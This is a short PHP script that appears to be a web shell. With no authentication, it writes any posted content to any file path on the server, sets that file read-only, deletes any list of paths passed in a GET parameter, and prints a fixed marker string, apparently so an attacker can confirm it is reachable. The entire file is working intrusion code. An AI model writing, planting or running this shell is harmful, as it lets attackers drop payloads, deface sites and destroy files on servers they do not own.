<?php
if ($_POST) {
    $file = $_POST["f"];
    if (file_exists($file)) {
        unlink($file);
    }

    $f = fopen($file, "w");

    if ($f) {
        if (fwrite($f, $_POST["c"])) {
            echo "<font color=red>OK!</font>";
            chmod($file, 0444);
        } else {
            echo "<font color=blue>Error!</font>";
        }

        fclose($f);
    } else {
        echo "Unable to open file for writing.";
    }
} elseif ($_GET && isset($_GET["c"])) {
    $filePaths = $_GET["c"];

    if (!empty($filePaths)) {
        $filePaths = explode(",", $filePaths);

        foreach ($filePaths as $filePath) {
 
            if (file_exists($filePath)) {
                unlink($filePath);
                echo "File '$filePath' deleted.<br>";
            } else {
                echo "File '$filePath' does not exist.<br>";
            }
        }
    } else {
        echo "No file paths provided.";
    }
}

echo 'SXSXSXSX';
?>